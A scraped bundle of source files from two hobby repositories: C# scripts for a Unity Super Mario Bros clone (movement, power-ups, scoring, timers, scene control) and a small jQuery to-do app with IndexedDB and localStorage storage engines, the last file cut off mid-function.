StartCoroutine( InvensibleEffectCoroutine() );
}
private IEnumerator InvensibleEffectCoroutine()
{
SetAudio();
IsInvensible = true;
SpriteRenderer mySprite = GetComponent<SpriteRenderer>();
Color myColor = mySprite.color;
for (int i = 0; i <= effectTime*5; i++)
{
mySprite.color = new Color( myColor.r, myColor.g, myColor.b, 0f );
yield return new WaitForSeconds( 0.1f );
mySprite.color = new Color( myColor.r, myColor.g, myColor.b, 1f );
yield return new WaitForSeconds( 0.1f );
}
IsInvensible = false;
}
private void SetAudio()
{
AudioSource audio = GetComponent<AudioSource>();
audio.clip = powerDownClip;
audio.Play();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class GameController : MonoBehaviour
{
public static GameController instance = null;
[SerializeField]
private int blackScreenTime = 3;
[SerializeField]
private int gameOverScreenTime = 3;
[SerializeField]
private int winScreenTime = 3;
private void Awake()
{
if (instance == null)
instance = this;
else if (instance != this)
Destroy( gameObject );
DontDestroyOnLoad( this );
}
public void LoadScene(string sceneName)
{
SceneManager.LoadScene( "BlackScreen" );
StartCoroutine( BlackScreenTimer( sceneName ) );
}
private IEnumerator BlackScreenTimer(string sceneName)
{
yield return new WaitForSeconds( blackScreenTime );
SceneManager.LoadScene( sceneName );
GameObject.FindWithTag( "Canvas" )
.GetComponent<TimeController>()
.StartCounter();
}
public void ReloadScene()
{
LoadScene( SceneManager.GetActiveScene().name );
}
public void ReloadScene(float timer)
{
StartCoroutine( TimeToReloadCoroutine(timer) );
}
private IEnumerator TimeToReloadCoroutine(float timer)
{
yield return new WaitForSeconds( timer );
if (GetComponent<LivesController>().Lives <= 0)
GameOver();
else
ReloadScene();
}
public void GameOver()
{
SceneManager.LoadScene( "GameOverScreen" );
ResetGame();
StartCoroutine( GameOverTimer() );
}
public void Win()
{
StartCoroutine( WinTimer() );
}
private void ResetGame()
{
GameObject.FindWithTag( "Canvas" )
.GetComponent<CanvasScript>()
.ResetCanvas();
GetComponent<LivesController>().ResetLives();
}
private IEnumerator GameOverTimer()
{
yield return new WaitForSeconds( gameOverScreenTime );
SceneManager.LoadScene( "FirstScene" );
}
private IEnumerator WinTimer()
{
yield return new WaitForSeconds( winScreenTime );
ResetGame();
SceneManager.LoadScene( "FirstScene" );
}
}
<file_sep>using UnityEngine;
public class DropItemWhenDying : MonoBehaviour
{
[SerializeField]
private GameObject item;
private void Awake()
{
GetComponent<DamageWhenJumpOnTheHead>().DamageEnemy += DropItem;
}
private void DropItem()
{
if(item != null)
Instantiate( item, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
<file_sep>using UnityEngine;
[RequireComponent(typeof(Rigidbody2D))]
public class JumpInputs : DetectorToInstantiate
{
[SerializeField]
protected bool canJump;
[SerializeField]
protected float jumpForce;
[SerializeField]
protected AudioClip audioJump;
private Rigidbody2D rb;
public bool IsJumping { get; private set; }
protected override void Awake()
{
base.Awake();
rb = GetComponent<Rigidbody2D>();
}
protected override void OnTrigger(GameObject other)
{
canJump = true;
IsJumping = false;
}
protected void Jump()
{
if (canJump && rb.velocity.y == 0)
{
IsJumping = true;
if(audioJump != null)
SetSound();
rb.velocity = new Vector2( rb.velocity.x, 0f );
rb.AddForce( Vector2.up * jumpForce );
canJump = false;
}
}
private void SetSound()
{
AudioSource audio = GetComponent<AudioSource>();
audio.clip = audioJump;
audio.Play();
}
}
<file_sep>using UnityEngine;
public class HighScore : MonoBehaviour
{
private int highScore;
private void Start()
{
highScore = PlayerPrefs.GetInt( "HighScore", 0 );
}
public int Get()
{
return highScore;
}
public void Set(int newScore)
{
if(newScore > highScore){
PlayerPrefs.SetInt( "HighScore", newScore );
highScore = newScore;
}
}
}
<file_sep>using UnityEngine;
[RequireComponent(typeof(ScoreGiven))]
public class UpgradeToMario : DetectorToInstantiate
{
[SerializeField]
private GameObject upgradePrefab;
protected override void OnTrigger(GameObject other)
{
if (other.tag == "Player")
{
other.gameObject.GetComponent<MarioUpgrade>().Upgrade( upgradePrefab );
GetComponent<ScoreGiven>().SetScore();
Destroy( gameObject );
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SensorCliff : Sensor
{
[SerializeField]
private int count;
private void OnTriggerExit2D(Collider2D other)
{
count--;
if(count == 0)
Trigger( other.gameObject );
}
private void OnTriggerEnter2D(Collider2D other)
{
count++;
}
}
<file_sep>using System.Collections;
using UnityEngine.UI;
using UnityEngine;
public class TimeController : MonoBehaviour
{
[SerializeField]
private Text timeText;
[SerializeField]
private int time;
private Coroutine cr = null;
private int pausedTime;
private void Awake()
{
timeText.text = time.ToString();
}
public void StartCounter()
{
if (cr != null)
StopCoroutine( cr );
cr = StartCoroutine( StartCounterCoroutine() );
}
public void StopTimer()
{
if (cr != null)
StopCoroutine( cr );
timeText.text = "400";
}
private IEnumerator StartCounterCoroutine()
{
int timer = time;
while (timer >= 0)
{
timeText.text = timer.ToString();
yield return new WaitForSeconds( 1f );
timer--;
}
TimesUp();
}
private void TimesUp()
{
MarioDeath marioDeath = GameObject.FindWithTag( "Player" )
.GetComponent<MarioDeath>();
if (marioDeath)
marioDeath.Active();
}
public int GetCurrentTime()
{
return int.Parse( timeText.text );
}
public void SetTimeText(int num)
{
timeText.text = num.ToString();
}
}
<file_sep>using UnityEngine;
public class DiesWhenCollide : DetectorToInstantiate
{
protected override void OnTrigger(GameObject other)
{
GetComponent<FireBallDie>().DestroyFireBall();
}
}
<file_sep>using UnityEngine;
public class MarioRun : MonoBehaviour
{
private MovementByRigidBody marioMovement;
private void Awake()
{
marioMovement = GetComponent<MovementByRigidBody>();
}
private void Update()
{
if (Input.GetButtonDown( "Fire2" ))
marioMovement.speed += 2f;
if(Input.GetButtonUp("Fire2"))
marioMovement.speed -= 2f;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ScorePopup : MonoBehaviour
{
private void Start()
{
StartCoroutine( PopupEffect() );
GetComponent<Renderer>().sortingLayerName = "items";
}
public void SetText(int points)
{
GetComponent<TextMesh>().text = points.ToString();
}
private IEnumerator PopupEffect()
{
for(int i = 0; i < 100; i++)
{
yield return new WaitForSeconds( 0.01f );
transform.position += Vector3.up * 0.02f;
}
Destroy( gameObject );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LivesController : MonoBehaviour
{
[SerializeField]
private int initialLives = 3;
[SerializeField]
public int Lives { get; private set; }
private void Awake()
{
Lives = initialLives;
}
public void AddsLife()
{
Lives++;
}
public void DecreasesLife()
{
Lives--;
}
public void ResetLives()
{
Lives = initialLives;
}
}
<file_sep>using UnityEngine;
public class MarioDamage : MonoBehaviour
{
[SerializeField]
private GameObject littleMarioPrefab;
private bool isLittleMario = false;
private void Awake()
{
if (gameObject.name == "LittleMario(Clone)" ||
gameObject.name == "LittleMario")
isLittleMario = true;
}
public void Damage()
{
if (!isLittleMario && littleMarioPrefab)
{
GameObject newMario = Instantiate( littleMarioPrefab, transform.position,
Quaternion.identity );
MarioInvensibleEffect invensibleEffect = newMario.GetComponent<MarioInvensibleEffect>();
if (invensibleEffect)
invensibleEffect.InvensibleEffect();
Destroy( gameObject );
}
else if(GetComponent<MarioDeath>())
GetComponent<MarioDeath>().Active();
}
}
<file_sep>using UnityEngine;
[RequireComponent(typeof( StarEffect ), typeof( Rigidbody2D ) )]
public class MarioUpgrade : MonoBehaviour
{
private GameObject upgrade;
private Rigidbody2D myRb;
private StarEffect myStarEffect;
private void Awake()
{
myRb = GetComponent<Rigidbody2D>();
myStarEffect = GetComponent<StarEffect>();
}
public void Upgrade(GameObject upgradePrefab)
{
upgrade = Instantiate( upgradePrefab,
transform.position, Quaternion.identity );
PassFeatures();
Destroy( gameObject );
}
private void PassFeatures()
{
CheckRigidBodyVelocity();
CheckStarEffect();
}
private void CheckRigidBodyVelocity()
{
if (upgrade.GetComponent<Rigidbody2D>())
upgrade.GetComponent<Rigidbody2D>().velocity = myRb.velocity;
}
private void CheckStarEffect()
{
if (myStarEffect && myStarEffect.ItsStarEffect)
if (upgrade.GetComponent<StarEffect>())
upgrade.GetComponent<StarEffect>().ContinueEffect( myStarEffect.CurrentTime );
}
}<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DieByFireBall : MonoBehaviour
{
[SerializeField]
private GameObject deadEnemyPrefab;
public void DestroyEnemy()
{
GetComponent<ScoreGiven>().SetScore();
GameObject obj = Instantiate( deadEnemyPrefab,
transform.position, Quaternion.identity );
Sprite mySprite = GetComponent<SpriteRenderer>().sprite;
obj.GetComponent<DieByFireBallEffect>().SetSprite( mySprite );
Destroy( gameObject );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class AudioController : MonoBehaviour
{
[SerializeField]
private AudioClip normalTheme;
[SerializeField]
private AudioClip starTheme;
private AudioSource controller;
private void Awake()
{
controller = GetComponent<AudioSource>();
}
public void PlayStarTheme()
{
controller.clip = starTheme;
controller.Play();
}
public void StopStarTheme()
{
controller.clip = normalTheme;
controller.Play();
}
}
<file_sep>using UnityEngine;
public class GiftBlock : MonoBehaviour
{
[SerializeField]
private GameObject giftLevelOnePrefab;
[SerializeField]
private GameObject giftLevelTwoPrefab;
[SerializeField]
private GameObject blankBlockPrefab;
[SerializeField]
private GameObject summonGiftEffectPrefab;
private void Awake()
{
GetComponent<CollideWithMario>().BricksEffect += GiftEffect;
}
private void GiftEffect(GameObject mario)
{
GameObject item = SelectGift();
if (item != null)
{
InstantiateSummonAnimation(item);
if (blankBlockPrefab)
Instantiate( blankBlockPrefab, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
private GameObject SelectGift()
{
if (GameObject.Find( "LittleMario" ) || GameObject.Find( "LittleMario(Clone)" ))
return giftLevelOnePrefab;
else if (GameObject.Find( "Mario" ) || GameObject.Find( "Mario(Clone)" ) ||
GameObject.Find( "FireMario" ) || GameObject.Find( "FireMario(Clone)" ))
return giftLevelTwoPrefab;
return null;
}
private void InstantiateSummonAnimation(GameObject item)
{
GameObject n = Instantiate( summonGiftEffectPrefab, transform.position, Quaternion.identity );
n.GetComponent<SummonGiftEffect>().SetGift( item );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DieByFireBallEffect : MonoBehaviour
{
void Start()
{
Destroy( gameObject, 1f );
}
public void SetSprite(Sprite n)
{
transform.GetChild( 0 )
.GetComponent<SpriteRenderer>()
.sprite = n;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MarioDeath : MonoBehaviour
{
private GameObject gc;
[SerializeField]
private GameObject deadMarioPrefab;
public void Active()
{
gc = GameObject.FindWithTag( "GameController" );
gc.GetComponent<LivesController>().DecreasesLife();
gc.GetComponent<GameController>().ReloadScene( 3f );
Instantiate( deadMarioPrefab, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
<file_sep>using UnityEngine;
public abstract class MovementByTransform : MonoBehaviour
{
public float speed = 1f;
protected void Move(Vector3 direction)
{
transform.position += direction * speed * Time.deltaTime;
}
}
<file_sep>using UnityEngine;
public class SensorOnTriggerEnter : Sensor
{
private void OnTriggerEnter2D(Collider2D other)
{
Trigger( other.gameObject );
}
}
<file_sep>using UnityEngine;
public class SensorOnCollisionEnter : Sensor
{
private void OnCollisionEnter2D(Collision2D other)
{
Trigger( other.gameObject );
}
}
<file_sep>using UnityEngine;
[RequireComponent(typeof(Rigidbody2D))]
public class MovementByRigidBody : MonoBehaviour
{
public float speed = 5f;
[SerializeField]
private float forceMult = 1f;
private Rigidbody2D rb;
private void Awake()
{
rb = GetComponent<Rigidbody2D>();
}
private void FixedUpdate()
{
if (rb.velocity.x > speed)
rb.velocity = new Vector2(speed, rb.velocity.y );
else if (rb.velocity.x < -speed)
rb.velocity = new Vector2( -speed, rb.velocity.y );
}
protected void Move(Vector2 direction)
{
rb.AddForce( direction * speed * forceMult);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SummonGiftEffect : MonoBehaviour
{
private GameObject gift;
void Start()
{
StartCoroutine( SummonEffect() );
}
private IEnumerator SummonEffect()
{
Sprite giftSprite = gift.GetComponent<SpriteRenderer>().sprite;
transform.GetChild( 0 ).GetComponent<SpriteRenderer>().sprite = giftSprite;
yield return new WaitForSeconds( 1f );
Instantiate( gift, transform.position + Vector3.up, Quaternion.identity );
Destroy( gameObject );
}
public void SetGift(GameObject n)
{
gift = n;
}
}
<file_sep>using UnityEngine;
public class FirstScene : MonoBehaviour
{
private void Update()
{
if (Input.GetKeyDown( KeyCode.Return ))
GameObject.FindWithTag( "GameController" )
.GetComponent<GameController>().LoadScene( "map1-1" );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class StopAudio : MonoBehaviour
{
private AudioSource[] allAudioSources;
private bool isMute = false;
private void Update()
{
if (Input.GetKeyDown( KeyCode.Q ))
AllAudios();
}
void AllAudios()
{
if(isMute)
AudioListener.volume = 1f;
else
AudioListener.volume = 0f;
isMute = !isMute;
}
}
<file_sep>using UnityEngine;
public class ReverseMovement : DetectorToInstantiate
{
public bool flipGameObject = true;
protected override void OnTrigger(GameObject other)
{
FlipCollidersComponents();
ReverseMove();
if(flipGameObject)
FlipGameObject();
}
private void FlipCollidersComponents()
{
foreach (GameObject detector in detectors)
{
FlipSensor flipDetector = detector.GetComponent<FlipSensor>();
if(flipDetector != null)
flipDetector.FlipColliderComponent();
}
}
private void ReverseMove()
{
AiInputs move = GetComponent<AiInputs>();
move.movingToTheLeft = !move.movingToTheLeft;
}
private void FlipGameObject()
{
GetComponent<SpriteRenderer>().flipX = !GetComponent<SpriteRenderer>().flipX;
}
}
<file_sep>using UnityEngine;
public class CanvasScript : MonoBehaviour
{
public static CanvasScript instance = null;
private void Awake()
{
if (instance == null)
instance = this;
else if (instance != this)
Destroy( gameObject );
DontDestroyOnLoad( gameObject );
}
public void ResetCanvas()
{
GetComponent<ScoreController>().ResetScore();
GetComponent<TimeController>().StopTimer();
GetComponent<CoinsController>().ResetCoins();
GetComponent<MapController>().mapName = "1-1";
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class WinZone : MonoBehaviour
{
private void OnTriggerEnter2D(Collider2D other)
{
if(other.gameObject.tag == "Player")
{
DesablePlayerInputs();
GetComponent<AudioSource>().Play();
GameObject.FindWithTag( "SoundClips" ).GetComponent<AudioSource>().Stop();
GameObject.FindWithTag( "Canvas" )
.GetComponent<ScoreController>()
.Win();
GameObject.FindWithTag( "GameController" )
.GetComponent<GameController>()
.Win();
}
}
private void DesablePlayerInputs()
{
GameObject.FindWithTag( "Player" )
.GetComponent<JumpControllerInputs>().enabled = false;
GameObject.FindWithTag( "Player" )
.GetComponent<ControllerInputs>().enabled = false;
}
}
<file_sep>public class JumpAiInputs : JumpInputs
{
private void FixedUpdate()
{
Jump();
}
}
<file_sep>using UnityEngine;
public class JumpControllerInputs : JumpInputs
{
private void FixedUpdate()
{
if(Input.GetButtonDown("Fire1"))
Jump();
}
}<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BreakingBlockEffect : MonoBehaviour
{
private void Start()
{
Destroy( gameObject, 1f );
}
}
<file_sep>using System;
using UnityEngine;
public class CollideWithMario : DetectorToInstantiate
{
public event Action<GameObject> BricksEffect = delegate { };
protected override void OnTrigger(GameObject other)
{
Vector2 otherPos = other.transform.position;
Vector2 myPos = transform.position;
if (Mathf.Abs( otherPos.x - myPos.x ) < 0.8f && otherPos.y < myPos.y)
{
BricksEffect( other.gameObject );
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class FirstSceneHighScore : MonoBehaviour
{
[SerializeField]
private Text highScore;
private void Awake()
{
int n = GameObject.FindWithTag( "Canvas" )
.GetComponent<HighScore>().Get();
highScore.text = "TOP - ";
if (n < 10)
highScore.text += "00000" + n.ToString();
else if (n < 100)
highScore.text += "0000" + n.ToString();
else if (n < 1000)
highScore.text += "000" + n.ToString();
else if (n < 10000)
highScore.text += "00" + n.ToString();
else if (n < 100000)
highScore.text += "0" + n.ToString();
else if (n < 1000000)
highScore.text += n.ToString();
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
public class BlackScreenInputs : MonoBehaviour
{
[SerializeField]
private Text world;
[SerializeField]
private Text lives;
public void Awake()
{
int marioLives = GameObject.FindWithTag( "GameController" )
.GetComponent<LivesController>().Lives;
string marioCurrentMapName = GameObject.FindWithTag( "Canvas" )
.GetComponent<MapController>().mapName;
lives.text = marioLives.ToString();
world.text = "WORLD " + marioCurrentMapName;
}
}
<file_sep>using UnityEngine;
public class MarioAttackEffect : MonoBehaviour
{
[SerializeField]
private float jumpForce;
public void AttackEffect()
{
GetComponent<Rigidbody2D>().velocity = Vector2.zero;
GetComponent<Rigidbody2D>().AddForce( Vector2.up * jumpForce );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DiesAfterATime : MonoBehaviour
{
[SerializeField]
private float time;
void Start()
{
StartCoroutine( DestroyFireBall() );
}
private IEnumerator DestroyFireBall()
{
yield return new WaitForSeconds( time );
GetComponent<FireBallDie>().DestroyFireBall();
}
}
<file_sep>using UnityEngine;
public class DestroyOnCollide : MonoBehaviour
{
[SerializeField]
private GameObject breakingBlock;
[SerializeField]
private AudioClip bumpSound;
private void Awake()
{
GetComponent<CollideWithMario>().BricksEffect += DestroyEffect;
}
private void DestroyEffect(GameObject mario)
{
if (mario.name == "Mario" || mario.name == "Mario(Clone)" ||
mario.name == "FireMario" || mario.name == "FireMario(Clone)")
{
Instantiate( breakingBlock, transform.position, Quaternion.identity );
Destroy( gameObject );
}
else
{
if (bumpSound)
SetAudio( bumpSound );
}
}
private void SetAudio(AudioClip clip)
{
AudioSource audio = GetComponent<AudioSource>();
if (audio)
{
audio.clip = clip;
audio.Play();
}
}
}
<file_sep>using UnityEngine;
public class ControllerInputs : MovementByRigidBody
{
private Vector2 direction;
public Vector2 vel;
public bool InputRight { get; private set; }
public bool InputLeft { get; private set; }
private void Update()
{
vel = GetComponent<Rigidbody2D>().velocity;
InputRight = Input.GetKey( KeyCode.RightArrow );
InputLeft = Input.GetKey( KeyCode.LeftArrow );
if (InputLeft)
Move( Vector2.left );
else if (InputRight)
Move( Vector2.right );
else
Move( Vector2.zero );
}
}
<file_sep>using System;
using UnityEngine;
public abstract class Sensor : MonoBehaviour
{
public string[] tagsWithCollide;
public event Action<GameObject> Sign = delegate { };
protected void Trigger(GameObject other)
{
foreach (string tag in tagsWithCollide)
if (other.gameObject.tag == tag)
{
Sign( other.gameObject );
return;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MarioHorizontalAnimator : MonoBehaviour
{
private Animator an;
private Rigidbody2D rb;
private SpriteRenderer sr;
private ControllerInputs controller;
private bool facingRight = true;
private void Awake()
{
an = GetComponent<Animator>();
rb = GetComponent<Rigidbody2D>();
sr = GetComponent<SpriteRenderer>();
controller = GetComponent<ControllerInputs>();
}
private void Update()
{
HorizontalMovement();
}
private void HorizontalMovement()
{
if( Mathf.Abs(rb.velocity.x) > 0.1)
{
an.SetBool( "isWalking", true );
CheckSpriteFlip();
CheckSlipping();
}
else
an.SetBool( "isWalking", false );
}
private void CheckSpriteFlip()
{
if (( controller.InputRight && !facingRight ) ||
( controller.InputLeft && facingRight ))
{
sr.flipX = !sr.flipX;
facingRight = !facingRight;
}
}
private void CheckSlipping()
{
if((rb.velocity.x > 0 && controller.InputLeft) ||
(rb.velocity.x < 0 && controller.InputRight))
an.SetBool( "isSlipping", true );
else
an.SetBool( "isSlipping", false );
}
}
<file_sep>using UnityEngine;
public class ActiveStarEffect : DetectorToInstantiate
{
protected override void OnTrigger(GameObject other)
{
if (other.tag == "Player")
other.GetComponent<StarEffect>().Active();
Destroy( gameObject );
}
}
|
97c7498c3d1bed2ede444444db1dd965fc7cd955
|
[
"Markdown",
"C#"
] | 64
|
C#
|
Claudiocdj/Super-Mario-Bros-Unity
|
52d310e93c450406e711ef4e132e7629b62e505a
|
4f8cb6a1a2c2e8c418d793ab975577db03ebd830
|
refs/heads/master
|
<repo_name>mykolav/js-todo<file_sep>/scripts/task-controller.js
taskController = (function() {
var taskPage;
var initialised = false;
var taskType = "task";
function logError(code, message) {
console.log(code + ": " + message);
}
function reloadTasks(successCallback) {
taskPage.find('#tblTasks tbody tr').remove();
storageEngine.findAll(taskType,
function(tasks) {
if (tasks.length > 0) {
tasks.sort(function(t0, t1) {
return Date.parse(t0.requiredBy).compareTo(Date.parse(t1.requiredBy));
});
$.each(tasks, function(i, task) {
if (!task.complete) {
task.complete = false;
}
$('#taskRow').tmpl(task).appendTo(taskPage.find('#tblTasks tbody'));
});
shadeRows();
highlightDueAndOverdueTasks();
}
updateTaskCount();
},
logError);
if (!!successCallback)
successCallback();
}
function clearTaskForm() {
taskPage.find('form').fromObject({});
taskPage.find('form select[name="category"]').val('Personal');
}
function highlightDueAndOverdueTasks() {
$.each(taskPage.find('#tblTasks tbody tr'),
function(i, row) {
storageEngine.findById(taskType,
$(row).data().taskId,
function(task) {
var due;
if (task.complete === true) {
return;
}
due = Date.parse(task.requiredBy);
if (due.compareTo(Date.today()) < 0) {
$(row).addClass('overdue');
} else if (due.compareTo((2).days().fromNow()) <= 0) {
$(row).addClass('warning');
}
},
logError);
});
}
function shadeRows() {
taskPage.find('#tblTasks tbody tr').removeClass('even');
taskPage.find('#tblTasks tbody tr:even').addClass('even');
}
function updateTaskCount() {
var count;
count = taskPage.find('#tblTasks tbody tr').length;
$('#taskCount').text(count.toString());
}
function init(page) {
if (initialised) {
return;
}
taskPage = page;
taskPage.find('[required]').prev('label').prepend('<span>* </span>').children('span').addClass('required');
taskPage.find('#btnAddTask').click(function(event) {
event.preventDefault();
taskPage.find('#taskCreation').removeClass('not');
});
taskPage.find('#btnCancel').click(function(event) {
event.preventDefault();
taskPage.find('#taskCreation').addClass('not');
clearTaskForm();
});
taskPage.find('#btnSaveTask').click(function(event) {
var task;
event.preventDefault();
if (!taskPage.find('form').valid()) {
return;
}
task = taskPage.find('form').toObject();
storageEngine.save(taskType,
task,
function(savedTask) {
taskPage.find('#taskCreation').addClass('not');
clearTaskForm();
reloadTasks();
},
logError);
});
taskPage.find('tbody').on('click', 'tr', function(event) {
var clickedRow = taskPage.find(event.target).closest('tr');
clickedRow.siblings('tr').removeClass('rowHighlight');
clickedRow.addClass('rowHighlight');
});
taskPage.find('#tblTasks tbody').on('click', '.deleteTask', function(event) {
var row;
row = $(event.target).closest('tr');
storageEngine.delete(taskType,
$(row).data().taskId,
function() {
reloadTasks();
},
logError);
});
taskPage.find('#tblTasks tbody').on('click', '.completeTask', function(event) {
var row;
event.preventDefault();
row = $(event.target).closest('tr');
storageEngine.findById(taskType, $(row).data().taskId,
function(task) {
task.complete = true;
storageEngine.save(taskType, task, function(savedTask) {
reloadTasks();
},
logError);
},
logError);
});
taskPage.find('#tblTasks tbody').on('click', '.editTask', function(event) {
var row;
event.preventDefault();
row = $(event.target).closest('tr');
storageEngine.findById(taskType, $(row).data().taskId,
function(task) {
taskPage.find('form').fromObject(task);
taskPage.find('#taskCreation').removeClass('not');
},
logError);
});
storageEngine.init(function() {
storageEngine.initObjectStore(taskType, function() {
reloadTasks(function() {
initialised = true;
});
},
logError);
},
logError);
}
return {
init: init
};
})();
<file_sep>/README.md
# js-todo
Just learning JS.
<file_sep>/scripts/tasks-indexeddb.js
storageEngine = function() {
var storage_not_supported = 'storage_not_supported';
var storage_not_initialized = 'storage_not_initialized';
var object_store_not_initialized = 'object_store_not_initialized';
var transaction_error = 'transaction_error';
var object_store_error = 'object_store_error';
var object_not_found = 'object_not_found';
var could_not_delete_object = 'could_not_delete_object';
var database;
var initializedObjectStores = {};
function checkInitialized(type, errorCallback) {
if (!database) {
errorCallback(storage_not_initialized, "IndexedDB has not been initialized");
return false;
}
if (!initializedObjectStores[type]) {
errorCallback(object_store_not_initialized, 'The object "' + type + '" store has not been initialized');
return false;
}
return true;
}
return {
init: function(successCallback, errorCallback) {
var request;
if (!database) {
if (window.indexedDB) {
request = indexedDB.open(window.location.hostname + 'DB');
request.onsuccess = function(event) {
database = request.result;
successCallback(null);
};
request.onerror = function(event) {
errorCallback(storage_not_initialized, 'Failed to open indexedDB');
};
} else {
errorCallback(storage_not_supported, 'IndexedDb is not supported');
}
} else {
successCallback(null);
}
},
initObjectStore: function(type, successCallback, errorCallback) {
var exists;
var version;
var request;
if (!database) {
errorCallback(storage_not_initialized, "IndexedDB has not been initialized");
return false;
}
exists = false;
$.each(database.objectStoreNames, function(i, name) {
if (name == type) {
exists = true;
}
});
if (exists) {
initializedObjectStores[type] = true;
successCallback(null);
} else {
database.close();
version = database.version + 1;
request = indexedDB.open(window.location.hostname + 'DB', version);
request.onupgradeneeded = function(event) {
database = event.target.result;
database.createObjectStore(type, { keyPath: "id", autoIncrement: true });
initializedObjectStores[type] = true;
};
request.onsuccess = function(event) {
successCallback(null);
};
request.onerror = function(event) {
errorCallback(storage_not_initialized, 'Failed to re-open indexedDB');
};
}
},
save: function(type, object, successCallback, errorCallback) {
var tx;
var objectStore;
var request;
if (!checkInitialized(type, errorCallback)) {
return;
}
if (!object.id) {
delete object.id;
} else {
object.id = parseInt(object.id);
}
tx = database.transaction([type], 'readwrite');
tx.oncomplete = function(event) {
successCallback(object);
};
tx.onerror = function(event) {
errorCallback(transaction_error, 'Failed to store the object of type ' + type);
};
objectStore = tx.objectStore(type);
request = objectStore.put(object);
request.onsuccess = function(event) {
object.id = event.target.result;
};
request.onerror = function(event) {
errorCallback(object_store_error, 'Failed to store the object of type ' + type);
}
},
findById: function(type, id, successCallback, errorCallback) {
var object;
var tx;
var objectStore;
var request;
if (!checkInitialized(type, errorCallback)) {
return;
}
tx = database.transaction([type]);
objectStore = tx.objectStore(type);
request = objectStore.get(id);
request.onsuccess = function(event) {
successCallback(event.target.result);
};
request.onerror = function(event) {
errorCallback(object_not_found, 'Failed to get object of type ' + type + ' by id ' + id);
};
},
findByProperty: function(type, propertyName, propertyValue, successCallback, errorCallback) {
var objects = [];
var tx;
var objectStore;
var request;
if (!checkInitialized(type, errorCallback)) {
return;
}
tx = database.transaction([type]);
objectStore = tx.objectStore(type);
request = objectStore.openCursor();
request.onsuccess = function(event) {
var cursor;
cursor = event.target.result;
if (cursor) {
if (cursor.value[propertyName] === propertyValue) {
objects.push(cursor.value);
}
cursor.continue();
} else {
successCallback(objects);
}
};
},
findAll: function(type, successCallback, errorCallback) {
var objects = [];
var tx;
var objectStore;
var request;
if (!checkInitialized(type, errorCallback)) {
return;
}
tx = database.transaction([type]);
objectStore = tx.objectStore(type);
request = objectStore.openCursor();
request.onsuccess = function(event) {
var curosr;
cursor = event.target.result;
if (cursor) {
objects.push(cursor.value);
cursor.continue();
} else {
successCallback(objects);
}
};
},
delete: function(type, id, successCallback, errorCallback) {
var tx;
var objectStore;
var request;
if (!checkInitialized(type, errorCallback)) {
return;
}
tx = database.transaction([type], 'readwrite');
tx.oncomplete = function(event) {
successCallback(id);
};
tx.onerror = function(event) {
console.log(event);
errorCallback(could_not_delete_object, 'Failed to commit deletion of object of type ' + type + ' by id ' + id);
};
objectStore = tx.objectStore(type);
request = objectStore.delete(id);
request.onsuccess = function(event) { };
request.onerror = function(event) {
errorCallback(could_not_delete_object, 'Failed to delete object of type ' + type + ' by id ' + id);
}
}
};
}();<file_sep>/scripts/jquery-filter-date.js
(function($) {
$.expr[':'].date = function(element) {
return $(element).is("input") && $(element).attr("type") === "date";
}
})(jQuery);
<file_sep>/scripts/tasks-webstorage.js
storageEngine = function() {
var storage_api_not_supported = "storage_api_not_supported";
var storage_api_not_initialized = "storage_api_not_initialized";
var object_store_not_initialized = "object_store_not_initialized";
var initialize = false;
var initializedObjectStores = {};
function checkInitialized(type, errorCallback) {
if (!initialized) {
errorCallback(storage_api_not_initialized, "The storage engine has not been initialized");
return false;
}
if (!initializedObjectStores[type]) {
errorCallback(object_store_not_initialized, 'The object "' + type + '" store has not been initialized');
return false;
}
return true;
}
return {
init: function(successCallback, errorCallback) {
if (window.localStorage) {
initialized = true;
successCallback(null);
} else {
errorCallback(storage_api_not_supported, "The web storage api is not supported");
}
},
initObjectStore: function(type, successCallback, errorCallback) {
if (!initialized) {
errorCallback(storage_api_not_initialized, "The storage engine has not been initialized");
} else if (!localStorage.getItem(type)) {
localStorage.setItem(type, JSON.stringify({}));
}
initializedObjectStores[type] = true;
successCallback(null);
},
save: function(type, object, successCallback, errorCallback) {
var objects;
if (!checkInitialized(type, errorCallback)) {
return;
}
if (!object.id) {
object.id = $.now();
}
objects = JSON.parse(localStorage.getItem(type));
objects[object.id] = object;
localStorage.setItem(type, JSON.stringify(objects));
successCallback(object);
},
findAll: function(type, successCallback, errorCallback) {
var objects;
var result = [];
if (!checkInitialized(type, errorCallback)) {
return;
}
objects = JSON.parse(localStorage.getItem(type));
$.each(objects,
function(i, object) {
result.push(object);
});
successCallback(result);
},
delete: function(type, id, successCallback, errorCallback) {
var objects;
var object;
if (!checkInitialized(type, errorCallback)) {
return;
}
objects = JSON.parse(localStorage.getItem(type));
object = objects[id];
delete objects[id];
localStorage.setItem(type, JSON.stringify(objects));
successCallback(object);
},
findByProperty: function(type, propertyName, propertyValue, successCallback, errorCallback) {
var objects;
var result = [];
if (!checkInitialized(type, errorCallback)) {
return;
}
objects = JSON.parse(localStorage.getItem(type));
$.each(objects, function(index, object) {
if (object[propertyName] === propertyValue) {
result.push(object);
}
});
successCallback(result);
},
findById: function(type, id, successCallback, errorCallback) {
var object;
if (!checkInitialized(type, errorCallback)) {
return;
}
